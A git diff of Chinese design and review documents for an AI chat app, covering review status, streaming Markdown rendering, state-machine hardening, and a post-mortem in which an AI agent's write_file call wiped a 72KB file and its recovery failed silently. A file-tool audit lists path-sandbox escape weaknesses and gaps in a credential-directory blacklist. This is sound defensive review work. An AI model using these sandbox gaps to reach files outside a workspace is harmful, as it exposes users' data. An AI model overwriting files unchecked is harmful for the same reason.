| FR-R5 | `findToolCall`/`flatMap` 正向 O(n²) 全量线性扫描(全栈报告 §4)| 4b5f096 | ✅ 已完成(`useAiEvents::findToolCall` 改反向遍历命中最近,放弃 Map 索引防陈旧引用)|
|
||||
|
||||
> 注:AC1/AC2、FR-S4、FR-R4、FR-R5 的 ID 源自全栈审查报告/todo 跨文档编号体系,本表仅标注状态,技术细节见对应 commit 与 [全栈代码审查报告](../05-代码审查/全栈代码审查报告-2026-06-14.md)。
|
||||
|
||||
---
|
||||
|
||||
## 一、AI chat 交互流畅性
|
||||
@@ -114,22 +129,20 @@ let reason = match risk_level {
|
||||
|
||||
---
|
||||
|
||||
## 四、create_project 双审双 API(用户实测痛点)
|
||||
## 四、create_project 双审双 API(用户实测痛点)— ⚠️ 半成品(2026-06-14 核对)
|
||||
|
||||
### 根因:AI 工具 schema 比 IPC 接口窄
|
||||
### 现状:已改一半
|
||||
- ✅ schema 已加 `path`/`stack`(`tool_registry.rs:148-151`),描述已改"可选传 path/stack 一步完成"(`:147`)
|
||||
- ❌ **handler 仍写死 `path: None, stack: None`(`:162`),未读 args** → schema 假支持
|
||||
|
||||
| 层 | create_project 参数 | 建带目录项目 |
|
||||
|----|---------------------|-------------|
|
||||
| IPC `create_project`(`project.rs:43-83`) | name, description, idea_id, **path, stack** | ✅ 一步完成(校验+防重复+探测 stack) |
|
||||
| AI 工具 `create_project`(`tool_registry.rs:148`) | name, description(**无 path**) | ❌ 只能建空项目,handler 写死 path=None(:159) |
|
||||
### 后果
|
||||
LLM 见 schema 有 path 会传,handler 忽略 → 建出空项目 → 仍需 `bind_directory` 二审。**双审未解,反变误导**(schema 承诺了 handler 不兑现)。比原始"schema 无 path"更糟。
|
||||
|
||||
→ LLM 建带目录项目被逼拆两步:`create_project`(Medium 审1 + LLM 轮次1)→ `bind_directory`(Medium 审2 + LLM 轮次2)= **双审批双 API**。IPC 本可一步完成,AI 工具没用上。
|
||||
|
||||
### 方案
|
||||
`create_project` AI 工具 schema 加可选 `path`/`stack`(对齐 IPC `CreateProjectInput`),handler 复用 IPC 的绑定+探测逻辑。`bind_directory` 保留用于后期改绑(relocate)。
|
||||
### 待改(别再加 schema,已加完)
|
||||
handler 从 args 读 `path`/`stack`,复用 IPC `create_project`(`project.rs:43-83`)的校验+防重复+`scan::detect_stack` 探测逻辑。`bind_directory` 保留改绑用。
|
||||
|
||||
### 关联
|
||||
问题 1 修好后 `bind_directory` 使用频率大降(只剩改绑),第二章 bind_directory 信息缺口随之缓解;但 bind_directory 仍需补信息完整性。
|
||||
handler 接上后 `bind_directory` 使用频率大降(只剩改绑),第二章 bind_directory 信息缺口随之缓解;但 bind_directory 仍需补信息完整性。
|
||||
|
||||
---
|
||||
|
||||
@@ -177,7 +190,7 @@ let reason = match risk_level {
|
||||
用 Ideas/Idea(英文术语),若产品要求统一 Inspiration 也需改,待定。
|
||||
|
||||
### docs + crates 注释
|
||||
大量"想法"(低优先),含文件名 `docs/03-模块文档/想法探索-对抗式评估.md`。
|
||||
大量"想法"(低优先),含文件名 `docs/03-模块文档/想法探索-对抗式评估-2026-06-12.md`。
|
||||
|
||||
### 根因
|
||||
上次迁移只改 ideas.ts 页头区,详情/操作/模态框 + 其他 i18n + 后端错误 + LLM 工具描述未跟进。
|
||||
@@ -205,8 +218,8 @@ let reason = match risk_level {
|
||||
|------|------|------|
|
||||
| P0 | H1 流式 Markdown 重解析 | 流式态纯文本/增量渲染,完成后再 markdown;rAF 合并 |
|
||||
| P0 | H2 审批态新建对话卡死 | `ai_conversation_create` 加 generating 守卫 |
|
||||
| P0 | 第二章 审批卡片裸 id + reason 模板 | 后端 reason 拼对象名;前端 id→name |
|
||||
| P0 | 第四章 create_project 双审 | AI 工具 schema 加 path/stack |
|
||||
| P0 | 第二章 审批卡片裸 id + reason 模板(✅ 已完成 commit 36d68dd / AR-3)| 后端 reason 拼对象名;前端 id→name |
|
||||
| P0 | 第四章 create_project 双审(⚠️ 半成品:schema 已加 handler 没接) | handler 读 args 的 path/stack,复用 IPC `project.rs:43-83` 探测逻辑 |
|
||||
| P1 | H3 审批态 stop 无兜底 | stopChat 本地先复位 streaming |
|
||||
| P1 | M3 Low 工具失败语义 | 统一 AiError 后 loop 也退出,或不 emit AiError |
|
||||
| P1 | 第三章 clean 无入口 | AiChat 加清空按钮 + 后端真删当前对话消息 |
|
||||
@@ -217,6 +230,66 @@ let reason = match risk_level {
|
||||
|
||||
---
|
||||
|
||||
## 九、write_file 覆盖事故与可靠性风险(2026-06-14 实测)
|
||||
|
||||
### 事故经过
|
||||
|
||||
会话 `3473fcb7`(2026-06-14 22:16)AI 拟对 `PROGRESS.md` 做 3 处精准更新(头部当前阶段、全局问题 #9 状态、新增 #10),但**误用 `write_file`(全文覆盖语义)只传了头部 3 行 content**,把原 **762行/72KB** 覆盖成 **248字节**。AI 自查发现(msg[59-61])尝试凭记忆重建恢复(write_file 17956 字符),**但该恢复写入未生效**(会话中断),用户无感知「恢复失败」。
|
||||
|
||||
### 暴露的潜在问题
|
||||
|
||||
| # | 问题 | 性质 | 修法方向 |
|
||||
|---|------|------|----------|
|
||||
| FR-S7 | write_file 覆盖已有非空文件无确认/备份 | **根因** | 覆盖非空文件前自动备份 `.bak`;或检测目标存在强制走 edit_file |
|
||||
| 关联-1 | 写入后无「预期 vs 实际」校验 | 可靠性 | write_file 返回新旧大小,差异巨大(如原 72KB→新 248B)时 warn/阻断 |
|
||||
| 关联-2 | AI 自恢复失败无感知 | agent 可靠性 | 工具失败/中断需明确通知用户,不静默吞掉 |
|
||||
| 备份 | DB 50KB 截断致无法从 DB 完整恢复 | 备份策略 | 长文档丢失仅 git 可救;考虑关键文件写前 git 快照 |
|
||||
|
||||
### 恢复方式与教训
|
||||
|
||||
DB 中 PROGRESS.md 原文已被 `TRUNCATE_THRESHOLD=50KB`(`conversation.rs:55`)截断(头尾拼接、中段省略),AI 重建版仅 17.9KB 残缺。**最终靠 `git restore PROGRESS.md`(HEAD 版本 762行/72KB 完整)恢复**。教训:本地文档类资产的实际保护层是 **git** 而非 DB 会话历史——会话历史是「对话快照」非「文件备份」。
|
||||
|
||||
### 关联待办
|
||||
|
||||
- `todo.md` FR-S7(write_file 覆盖保护)— P0 安全
|
||||
|
||||
---
|
||||
|
||||
## 十、文件工具系统性走查(2026-06-14,3-agent review 之外的补充走查)
|
||||
|
||||
`tool_registry.rs` 实际注册 **3 个文件工具**:`read_file`(:394) / `list_directory`(:428) / `write_file`(:444)。其余 edit_file/delete_file/rename_file/move_file/search_content/append_file **均未实现**——功能缺口,迫使 LLM 滥用 write_file 全量覆写,**放大 FR-S7 危害**。
|
||||
|
||||
### P0 — 阻断
|
||||
|
||||
| # | 问题 | 位置 | 修法方向 |
|
||||
|---|------|------|----------|
|
||||
| **FR-S8** | **路径 sandbox 系统性逃逸**:①`validate_path` 子串 `..` 检测对**绝对路径无效**(`C:\Windows\...` 不含 `..` 绕过);②canonicalize 仅对**已存在路径**跑,write_file 新建文件 + symlink 父目录场景失效;③Windows `Path::starts_with` 大小写敏感而文件系统不敏感,可误判/漏判 | :19-21, :53-69 | 统一 canonicalize(不存在路径取最长存在前缀)+ 大小写不敏感 prefix 比较 + parent 也校验 |
|
||||
| FR-S7(放大) | write_file 定级 Medium 可自动批准 + 非原子覆写,覆写任意已存在非空文件即数据丢失(见 §9) | :446, :461 | 覆写非空文件升 High 审批 + `.bak` 备份 + 原子写(tmp→rename) |
|
||||
|
||||
### P1 — 重要
|
||||
|
||||
| # | 问题 | 位置 |
|
||||
|---|------|------|
|
||||
| P1-1 | write_file 非原子写:中途崩溃留半截文件丢原内容(叠加 FR-S7 数据彻底丢失) | :461 |
|
||||
| P1-2 | write_file `create_dir_all(parent)` 不校验 parent,workspace 内 symlink 父目录可写逃逸 | :457-460 |
|
||||
| P1-3 | read_file 1MB 按**字节** + `read_to_string` 对非 UTF-8/二进制直接失败无降级 | :409, :413 |
|
||||
| P1-4 | read_file offset 无上限校验(超范围静默返空),limit 无硬上限 | :415-419 |
|
||||
| P1-5 | list_directory 噪音目录仍作为 entry 返回(仅不深入),max_depth=2 写死无文档 | :437, :439, :500 |
|
||||
| P1-6 | list_directory `DirEntry::metadata()` **跟随 symlink**,symlink 目录被当普通目录递归(信息泄露 + 与 P1-2/FR-S8 形成逃逸组合拳) | :491-492 |
|
||||
| P1-7 | `validate_path` 黑名单**子串匹配**:易误伤(`appdata-collector` 项目)易绕过(漏 `.config`/`.kube`/Program Files),冗余弱层 | :22-29 |
|
||||
|
||||
### P2 — 次要
|
||||
|
||||
list_directory 子目录无权限读整层 bail(:484)/ read_file 错误回显完整绝对路径泄露(:406)/ write_file bytes_written 字节非字符易误导(:463)/ max_entries off-by-one(:486)/ to_str 非 UTF-8 路径笼统报错(:401)/ 未实现工具缺口(edit/delete/rename/move/search/append 迫使滥用 write_file)。
|
||||
|
||||
### 总结
|
||||
|
||||
框架方向正确(schema+risk+handler 同源、双层校验、FR-S2 TOCTOU+1MB 已修),但 **sandbox 实现层有系统性缺口**:子串黑名单(弱)+ 词法 starts_with(Windows 大小写坑)+ canonicalize 只覆盖存在路径(新建漏)。优先级:**FR-S8 统一 canonicalize > P1-6/P1-2 symlink 不跟随 > FR-S7 原子写+升审批**。
|
||||
|
||||
关联 todo:FR-S7(覆盖保护)、FR-S8(sandbox 逃逸)。
|
||||
|
||||
---
|
||||
|
||||
## 附:相关 memory(指针)
|
||||
- `devflow-aichat-review-pending.md`
|
||||
- `devflow-idea-inspiration-migration.md`
|
||||
|
||||
@@ -61,4 +61,4 @@
|
||||
|
||||
- 触及 [[aichat-arch-extensibility]] 记录的 AiSession 单例瓶颈。
|
||||
- 与 [[aichat-roadmap-ab-split]] B 路线(补决策/并发能力)相关。
|
||||
- 当前同步审批的其他问题(审批态 stop 卡死、新建对话破坏 session)见 `aichat-review-2026-06-14.md` H2/H3,异步化时一并解决。
|
||||
- 当前同步审批的其他问题(审批态 stop 卡死、新建对话破坏 session)见 `aichat审查报告-2026-06-14.md` H2/H3,异步化时一并解决。
|
||||
|
||||
146
docs/02-架构设计/aichat流式Markdown渲染调研-2026-06-15.md
Normal file
146
docs/02-架构设计/aichat流式Markdown渲染调研-2026-06-15.md
Normal file
@@ -0,0 +1,146 @@
|
||||
# AI Chat 流式 Markdown 渲染调研(2026-06-15)
|
||||
|
||||
> 范围:`AiChat.vue` 流式渲染优化。当前 AR-1 修复(commit f58743e)用「流式纯文本短路」防掉帧,副作用是流式过程无格式。本调研找不掉帧且有格式的更好方案。
|
||||
> 方法:3 路并行调研(机制方案 / 现成库 / Vue3 落地)+ 主代理整合。
|
||||
> 性质:调研 + 方案,**未实施**。
|
||||
> 关联:[aichat审查报告-2026-06-14.md](aichat审查报告-2026-06-14.md) AR-1;[近期改动代码审查-2026-06-15.md](../05-代码审查/近期改动代码审查-2026-06-15.md) §亮点「renderMd 流式纯文本短路」。
|
||||
|
||||
---
|
||||
|
||||
## §1 问题根因
|
||||
|
||||
现状(`src/components/AiChat.vue:200,347`):
|
||||
|
||||
```vue
|
||||
<div v-html="renderMd(text, isLastAi(msg) && store.state.streaming)"></div>
|
||||
```
|
||||
```js
|
||||
function renderMd(text, isStreaming=false){
|
||||
if (isStreaming || !mdReady) return escapeHtml(text) // 流式纯文本短路
|
||||
return _purify.sanitize(_marked.parse(text))
|
||||
}
|
||||
```
|
||||
|
||||
掉帧两因素叠加:
|
||||
- **(A) 解析成本**:每个 delta 全量 `marked.parse()` O(N),N 随回复增长,后期单帧解析几十 ms。
|
||||
- **(B) 重渲染成本**:`v-html` 整段替换触发子树重布局。
|
||||
|
||||
当前方案牺牲「流式格式」躲掉 (A)(B),但 delta 20-80ms 一个,流式时用户看到裸 markdown 源码(`#`、`-`、```` ``` ```` 符号),结束才出格式。
|
||||
|
||||
---
|
||||
|
||||
## §2 五大机制对比
|
||||
|
||||
| 机制 | 消除瓶颈 | 流式有格式 | 成本 | 适用 | 独立够吗 |
|
||||
|---|---|---|---|---|---|
|
||||
| 1. rAF 批量节流 | 中(砍频率) | 是 | 低 | 全部 | 否(长文本单次仍重) |
|
||||
| 2. 块级 diff + memo | **高**(砍到 O(末块)) | 是 | 低-中 | 全部 | **基本够(主流首选)** |
|
||||
| 3. Web Worker 解析 | 高(主线程归零) | 是 | 中 | 超长文档/重 sanitize | 通常与 2 叠加 |
|
||||
| 4a. 代码块延迟高亮 | 高(代码块零成本) | 代码块流式无色 | 低 | 有代码块 | 仅代码块,需叠加 |
|
||||
| 4b. shiki-stream 增量高亮 | 高 | 代码块流式有色 | 中 | 有代码块 | 仅代码块 |
|
||||
| 5. 虚拟滚动 | 中(砍 DOM 不砍 parse) | 是 | 中 | 长会话消息列表 | 否 |
|
||||
|
||||
**机制 2(块级 diff + memo)是业界主流首选**——Vercel AI SDK 官方 cookbook 做法。原理:`marked.lexer()` 按双换行/代码围栏切块,每块独立 memoize,只有「正在生长的末块」重 parse,已完成块缓存跳过。解析成本从 O(全文) 降到 O(末块)。
|
||||
|
||||
**大厂可见行为**:ChatGPT / Claude / Gemini 流式时均有格式,代码块流式时等宽 + 基本着色。Chrome 官方文档明确反对「整篇重 parse + innerHTML 替换」(正是当前实现),推荐 streaming-markdown 增量 append。
|
||||
|
||||
**rAF 实测数据**(Sitepoint,React 18.3 生产构建 M2):朴素逐 token setState 平均 commit 18ms(80 token/s 达 52ms 可见卡顿),rAF 批量后 3-5ms。
|
||||
|
||||
---
|
||||
|
||||
## §3 现成库评估
|
||||
|
||||
| 库 | Vue3 兼容 | 流式 | 安全 | 维护 | 结论 |
|
||||
|---|---|---|---|---|---|
|
||||
| **markstream-vue** | ✅ 原生组件 | ✅ 双模式(虚拟窗口 + 增量批处理) | ✅ 内置 safe HTML | ✅ 2.2k star / open issue 2 / 近乎日更 / 尤雨溪背书 / 1.0 稳定 | **首选** |
|
||||
| streamdown (Vercel) | ❌ React 绑定 + 强绑 Tailwind/shadcn | ✅ | ✅ rehype-harden | ✅ | 仅参考(issue #19 求 Vue 版未解决) |
|
||||
| streaming-markdown | ⚠️ callback 驱动需自己接线 | ✅ token 级 | ❌ 需自配 | 功能不全 | 参考 |
|
||||
| marked(当前用) | ✅ | ❌ 无官方流式 API | ❌ 需自配 DOMPurify | ✅ 36.9k star | 不直用做流式层 |
|
||||
| markdown-it | ✅ | ❌ 无原生流式 | - | ✅ | 同上 |
|
||||
| antfu/shiki-stream | ✅ 组件 | ✅ 增量高亮 | - | ✅ 511 star | 代码块高亮专库 |
|
||||
|
||||
**核心结论**:有 Vue3 原生可直接用的流式 markdown 库 **markstream-vue**(尤雨溪推荐),命中全部诉求——流式有格式、不掉帧、TS-first、内置 sanitize、`final` prop 解未闭合 token 卡死。内部已含 marked + Shiki + sanitize 组合,等于替你造好轮子。
|
||||
|
||||
**降级路径**:若样式侵入太重,只用其解析内核 `stream-markdown-parser`(框架无关纯函数)+ 现有 DOMPurify 自控渲染。
|
||||
|
||||
---
|
||||
|
||||
## §4 落地方案(递进)
|
||||
|
||||
### 方案 A:rAF 节流渲染(最小改动)
|
||||
流式时 `requestAnimationFrame` 每帧最多 parse 一次(封顶 60fps),`v-html` 绑响应式 `streamingHtml`。流式结束取消 rAF + 强制最终渲染落 mdCache。
|
||||
|
||||
- 性能:频率从「每 delta」降到「每帧」,主线程有空隙让浏览器 paint。
|
||||
- 观感:流式全程有格式;**瑕疵**:未闭合代码块(末尾 ```)会闪烁。
|
||||
- 成本:低(~60 行)。
|
||||
- 风险:超长回答(>20k 字)每帧 parse 全文仍偏重。
|
||||
|
||||
```js
|
||||
const streamingHtml = ref('')
|
||||
let rafId = null, lastStreamText = ''
|
||||
function scheduleStreamParse(text){
|
||||
if (rafId !== null) return
|
||||
rafId = requestAnimationFrame(()=>{
|
||||
rafId = null
|
||||
if (text === lastStreamText) return
|
||||
lastStreamText = text
|
||||
streamingHtml.value = _purify.sanitize(_marked.parse(text))
|
||||
})
|
||||
}
|
||||
watch(()=>store.state.streaming,(s,old)=>{
|
||||
if(old && !s){ if(rafId) cancelAnimationFrame(rafId); rafId=null; lastStreamText=''; streamingHtml.value='' }
|
||||
})
|
||||
onBeforeUnmount(()=>{ if(rafId) cancelAnimationFrame(rafId) })
|
||||
```
|
||||
|
||||
### 方案 B:方案 A + 代码块流式降级(体验最佳,推荐起步)
|
||||
在 A 基础上,流式期把 fenced code 块正则抠出降级为纯文本(`<pre class="md-code-streaming">`),其余正常 marked。流式结束一次完整 marked 替换。
|
||||
|
||||
- 消掉方案 A 的「未闭合代码块闪烁」瑕疵——AI 回答大量含代码块,高频可见。
|
||||
- 成本:中(~100 行 + CSS)。
|
||||
- **推荐起步方案**(A→B 平滑叠加,B 只替换 `doStreamParse` 一个函数,不返工)。
|
||||
|
||||
### 方案 C:Web Worker(彻底解耦)
|
||||
marked+sanitize 移 Worker,主线程零 parse。Worker 内 DOMPurify 需 jsdom shim(或换 `sanitize-html` 免 DOM)。
|
||||
|
||||
- 成本:高(~150 行 + worker 文件 + jsdom)。
|
||||
- 适用:极端长回答/多会话。方案 B 不够再上。
|
||||
|
||||
### 方案 D(换库):直上 markstream-vue
|
||||
用 `<MarkdownRender :content :final />` 替换整个 renderMd 手写层。
|
||||
|
||||
- 成本:中(库接入 + 样式对接)。
|
||||
- 收益:省自造轮子,拿到虚拟窗口 + 增量高亮 + 未闭合处理全套。
|
||||
- 风险:样式侵入、新依赖、迁移工作量需评估。
|
||||
|
||||
---
|
||||
|
||||
## §5 推荐结论
|
||||
|
||||
**两条路,按风险偏好二选一**:
|
||||
|
||||
| 路线 | 方案 | 收益 | 风险 | 工作量 |
|
||||
|---|---|---|---|---|
|
||||
| **保守(自研改造)** | 方案 B(rAF 节流 + 代码块降级) | 流式全程有格式、不掉帧、消代码块闪烁、无新依赖 | 超长回答边界需观察 | 中(~100 行 + CSS) |
|
||||
| **激进(换库)** | 方案 D(markstream-vue) | 同上 + 虚拟窗口 + 增量高亮 + 长期省维护 | 新依赖、样式侵入、迁移成本 | 中-高 |
|
||||
|
||||
**渐进建议**:先上方案 B 跑通(验证 rAF 节流 + 代码块降级在当前 delta 频率下不掉帧)→ 观察长回答边界 → 若需更强能力(虚拟窗口/增量高亮)再评估换 markstream-vue。
|
||||
|
||||
**当前 AR-1 临时方案(流式纯文本短路)由方案 D 替换后退役**——纯增量收益,流式全程有格式。
|
||||
|
||||
> **决策(2026-06-15):选方案 D**(换 markstream-vue)。理由:自研块级 memo 与 D 复杂度接近,D 白送 shiki 代码高亮 + 虚拟窗口 + 未闭合 token 修复器,自研只在「坚决不引新依赖」时才划算。落地 todo:ARC-260615-08。
|
||||
>
|
||||
> **决策转向(2026-06-15,同日复盘):方案 D 试装后弃用,改自研块级 memo(方案 B 增强版)**。复盘:markstream-vue@1.0.1 接入 + vue-tsc 通过无技术障碍,但「样式 100% 还原现有 .ai-md」成本高且脆——markstream DOM 异构于 marked 输出(代码块 `.code-block-container` chrome 结构 / 暗色 `--ms-*` 变量体系依赖 `.dark` class 而 DevFlow 用 `[data-theme]` / prose 作用域 `.markstream-vue`),4 处对接且随 markstream 升级易漂移。用户优先级是「保留原样式」>「虚拟窗口/shiki 高级能力」,转自研块级 memo:marked 输出标准 HTML → .ai-md 样式零对接,借鉴 §2 机制 2(块级 memo,业界主流)实现 splitBlocks(代码围栏整体一块/非代码双换行切)+ 前块缓存命中 O(末块) + 末块不缓存处理未闭合 token + rAF 节流。结论:**自研块级 memo = 方案 B 增强(rAF + 真块级 memo,非仅代码块降级),零新依赖、零样式对接、D 级流式性能**。§5 原决策表「自研只在坚决不引新依赖时才划算」判断在「不要高级能力、要原样式」前提下反转——此时自研反而最优。落地:ARC-260615-08 自研版已实施,vue-tsc exit 0,待 dev 运行时验证。
|
||||
|
||||
---
|
||||
|
||||
## 来源
|
||||
|
||||
- [Best practices to render streamed LLM responses — Chrome for Developers](https://developer.chrome.com/docs/ai/render-llm-responses)(streaming-markdown 增量 append、Paint flashing 验证)
|
||||
- [Markdown Chatbot with Memoization — Vercel AI SDK Cookbook](https://ai-sdk.dev/cookbook/next/markdown-chatbot-with-memoization)(块级 diff + memo 官方实现)
|
||||
- [Streaming Backends & React: Controlling the Re-render Chaos — Sitepoint](https://www.sitepoint.com/streaming-backends-react-controlling-re-render-chaos/)(rAF 实测数据)
|
||||
- [antfu/shiki-stream — GitHub](https://github.com/antfu/shiki-stream)
|
||||
- [markstream-vue — GitHub](https://github.com/Simon-He95/markstream-vue)
|
||||
- [vercel/streamdown — GitHub](https://github.com/vercel/streamdown)
|
||||
- [HuggingFace chat-ui: webworker for markdown parsing #1733](https://huggingface.co/spaces/jdelavande/chat-ui-energy/commit/7d6fc19984864d960f2875391858ea067b030dc6)
|
||||
- [shikijs/shiki Discussion #891](https://github.com/shikijs/shiki/discussions/891)(GrammarState 流式高亮底层)
|
||||
284
docs/02-架构设计/generating状态机加固-2026-06-15.md
Normal file
284
docs/02-架构设计/generating状态机加固-2026-06-15.md
Normal file
@@ -0,0 +1,284 @@
|
||||
# AI 生成状态机加固(generating 生命周期)
|
||||
|
||||
> 创建: 2026-06-15 | 来源: /review generating 状态机专项审查 | 关联 bug: 用户报障"创建不了新对话"
|
||||
|
||||
---
|
||||
|
||||
## 1. 背景
|
||||
|
||||
用户报障:AI 面板"创建不了新对话了",前端报 `生成中无法新建对话,请先停止或等待完成`,但前端实际无内容生成。
|
||||
|
||||
排查定位:后端 `AiSession.generating` 标志卡在 `true`,与实际无生成状态不符。`ai_conversation_create`(commands.rs:451)硬拦 `generating=true` → 死锁,用户永远新建不了对话,只能重启 app。
|
||||
|
||||
`/review` 对 generating 状态机(commands.rs 对话/审批/stop + agentic.rs loop/try_continue + stream_recv.rs stream_llm + mod.rs AiSession)做专项审查,产出本文档。
|
||||
|
||||
---
|
||||
|
||||
## 2. 现状:三标志组合表达隐式状态机
|
||||
|
||||
### 2.1 状态标志
|
||||
|
||||
| 标志 | 类型 | 位置 | 作用 |
|
||||
|------|------|------|------|
|
||||
| `generating` | `bool` | `Mutex<AiSession>` 内 | 是否有 agentic loop 活跃 |
|
||||
| `pending_approvals` | `HashMap` | `Mutex<AiSession>` 内 | 待审批工具调用 |
|
||||
| `stop_flag` | `Arc<AtomicBool>` | 跨锁共享 | ai_chat_stop 置位,loop/stream 读取 |
|
||||
|
||||
### 2.2 隐式表达的 4 态
|
||||
|
||||
| 状态 | 标志组合 | 语义 |
|
||||
|------|---------|------|
|
||||
| **Idle** | `generating=false` | 空闲,可接新请求 |
|
||||
| **Streaming** | `generating=true && pending=空` | agentic loop 流式生成中 |
|
||||
| **AwaitingApproval** | `generating=true && pending非空` | loop 暂停等用户审批 |
|
||||
| **Stopping** | `stop_flag=true`(瞬态) | 用户点了停止,loop 检查点退出中 |
|
||||
|
||||
### 2.3 两个散布问题(根因)
|
||||
|
||||
**写侧散布(复位)**:`generating=false` 手动散落在 6 个 return 点(agentic.rs:53/94/144/190/264/318)。任一新增 return 漏写、或 spawn task panic/abort → 所有复位点跳过 → `generating` 永久 true。
|
||||
|
||||
**读侧散布(判别)**:状态判别靠标志组合反推:
|
||||
- `try_continue`(agentic.rs:283):`should_continue = generating && !pending`
|
||||
- `ai_chat_stop`(commands.rs:250):`pending非空` 分流流式/审批态
|
||||
- `ai_conversation_create`(commands.rs:451):`generating` 硬拦
|
||||
|
||||
判别逻辑散落三处,无单一真相源,新增分支易漏。
|
||||
|
||||
---
|
||||
|
||||
## 3. 状态机决策:轻量状态机,不引入框架
|
||||
|
||||
### 3.1 决策结论
|
||||
|
||||
**不引入独立状态机框架**(enum 字段替换 bool + 转换守卫 + codegen 库)。采用**轻量状态机**:
|
||||
|
||||
- **写侧收敛** = RAII guard(Drop 兜底复位),对应审查项 ①
|
||||
- **读侧收敛** = `session.state()` enum 视图方法(只读,不改字段),对应审查项 ⑤
|
||||
- **stop_flag 保留** `Arc<AtomicBool>`(跨锁信号,状态机管不了)
|
||||
|
||||
### 3.2 多角度论证
|
||||
|
||||
| 角度 | 独立状态机框架 | 轻量方案(guard+视图) | 判 |
|
||||
|------|--------------|-------------------|-----|
|
||||
| **状态复杂度** | 4 态 6 边转换,简单 | 同 | 不足以 justify 框架 |
|
||||
| **stop_flag 约束** | enum 不能跨锁,stop_flag 仍须 AtomicBool 独存 | stop_flag 保留,enum 只读视图 | 框架无法替代跨锁信号 |
|
||||
| **根因对症** | 复位散布=写侧 / 判别散布=读侧 | guard 治写 + 视图治读,**精准对症** | 轻量直达根因 |
|
||||
| **风格契合** | enum 字段+转换函数+非法检测=过度封装 | 增量加 guard+方法,做减法 | 轻量契合"可读性>抽象性" |
|
||||
| **迁移成本** | 改 AiSession 字段+所有读写点+测试,大改 | 增量,①⑤已在审查清单 | 轻量零额外工作 |
|
||||
|
||||
### 3.3 关键洞察
|
||||
|
||||
① RAII guard(写收敛)+ ⑤ enum 视图(读收敛)= 状态机读写两端都收敛,**功能上等价于状态机,但不引入 enum 字段/转换守卫/框架**。这是务实路线,符合作减法风格。
|
||||
|
||||
`stop_flag` 是跨锁信号(ai_chat_stop 在 IPC 线程置位,loop/stream 在 agentic task 读),必须保持 `Arc<AtomicBool>` 独立——这是状态机 enum 字段(锁内)无法替代的并发要求。
|
||||
|
||||
---
|
||||
|
||||
## 4. 改造设计
|
||||
|
||||
### 4.1 ① RAII guard — 写侧收敛(P0 根治)
|
||||
|
||||
新增 guard struct,`run_agentic_loop` 入口创建,函数退出(含 panic/abort/正常 return)时 Drop 兜底复位。
|
||||
|
||||
```rust
|
||||
struct GeneratingGuard {
|
||||
session: Arc<Mutex<AiSession>>,
|
||||
app: AppHandle,
|
||||
conv_id: String,
|
||||
}
|
||||
impl Drop for GeneratingGuard {
|
||||
fn drop(&mut self) {
|
||||
let app = self.app.clone();
|
||||
let conv_id = self.conv_id.clone();
|
||||
let session = self.session.clone();
|
||||
tauri::async_runtime::spawn(async move {
|
||||
let mut s = session.lock().await;
|
||||
if s.generating { // 仅在仍 true 时复位(避免重复 emit)
|
||||
s.generating = false;
|
||||
drop(s);
|
||||
let _ = app.emit("ai-chat-event", AiChatEvent::AiCompleted {
|
||||
total_tokens: 0, prompt_tokens: 0, completion_tokens: 0,
|
||||
conversation_id: Some(conv_id),
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`run_agentic_loop` 入口:`let _guard = GeneratingGuard { ... };`,函数内所有手动 `session.generating = false` 删除。
|
||||
|
||||
**注意**:Drop 是同步的不能再 `.await`,故 spawn 异步复位。存在极小窗口 generating 仍 true,由 ② 软复位兜底。
|
||||
|
||||
### 4.2 ⑤ session.state() 视图 — 读侧收敛(P1)
|
||||
|
||||
只读视图方法,不改 AiSession 字段,收敛三标志组合判别:
|
||||
|
||||
```rust
|
||||
enum SessionState { Idle, Streaming, AwaitingApproval }
|
||||
impl AiSession {
|
||||
fn state(&self) -> SessionState {
|
||||
if !self.generating { return SessionState::Idle; }
|
||||
if self.pending_approvals.is_empty() { SessionState::Streaming }
|
||||
else { SessionState::AwaitingApproval }
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
改造判别点:
|
||||
- `try_continue`:`should_continue = matches!(session.state(), SessionState::Streaming)`
|
||||
- `ai_chat_stop`:分流用 `matches!(session.state(), SessionState::AwaitingApproval)`
|
||||
- `ai_conversation_create`:见 4.3
|
||||
|
||||
### 4.3 ② newConversation 软复位 — 死锁解除(P0)
|
||||
|
||||
`ai_conversation_create`(commands.rs:451)硬拦改软复位。`generating=true` 时强制复位(等同 `ai_chat_stop` 审批态分支 commands.rs:252)再新建:
|
||||
|
||||
```rust
|
||||
if session.generating {
|
||||
session.generating = false;
|
||||
session.pending_approvals.clear();
|
||||
session.stop_flag.store(true, Ordering::SeqCst);
|
||||
let conv_id = session.active_conversation_id.clone();
|
||||
drop(session);
|
||||
let _ = app.emit("ai-chat-event", AiChatEvent::AiCompleted { ... conversation_id: conv_id });
|
||||
session = state.ai_session.lock().await;
|
||||
}
|
||||
session.active_conversation_id = Some(id.clone());
|
||||
// ...
|
||||
```
|
||||
|
||||
**含 ④ 策略统一**:软复位后 newConversation 与 switchConversation:518(readonly 放行)形成一致心智——「新建=放弃当前生成 / 切换=只读接管」。
|
||||
|
||||
需加 `app: AppHandle` 参数(tauri 注入,前端无感)。
|
||||
|
||||
### 4.4 ③ loop 对话一致性校验 — 竞态防护(P0)
|
||||
|
||||
② 软复位后旧 loop 退出时 `session.messages.push(旧 assistant)`(agentic.rs:171/173)污染新对话。loop 每次 push 前校验:
|
||||
|
||||
```rust
|
||||
let mut session = session_arc.lock().await;
|
||||
if session.active_conversation_id.as_deref() != Some(&conv_id) {
|
||||
return; // 对话已切走,丢弃本轮,不 push(guard ① 兜底复位)
|
||||
}
|
||||
if has_tool_calls { /* push */ }
|
||||
```
|
||||
|
||||
同样校验建议加在 `save_conversation` 调用前(agentic.rs:90/186/212/254),防旧 loop 写库污染。
|
||||
|
||||
### 4.5 ⑥ stop 流式态兜底 — 治 loop 已死(P1)
|
||||
|
||||
`ai_chat_stop`(commands.rs:261)流式态分支仅置 stop_flag,依赖 loop 自复位。若 loop 已 panic/abort,stop_flag 无人读,generating 永不复位。复用 ② 抽出的复位 helper 兜底。
|
||||
|
||||
### 4.6 ⑦ stop_notify 即时打断(P1,可选)
|
||||
|
||||
`stop_flag`(AtomicBool)无 async 通知能力,靠 30s 心跳 tick 间接唤醒 select!。换 `tokio::sync::Notify` 即时打断。`stop_flag` 保留作循环顶快检(冗余双保险)。
|
||||
|
||||
---
|
||||
|
||||
## 5. 状态转换图
|
||||
|
||||
```
|
||||
ai_chat_send
|
||||
│
|
||||
▼
|
||||
┌─────────────────┐
|
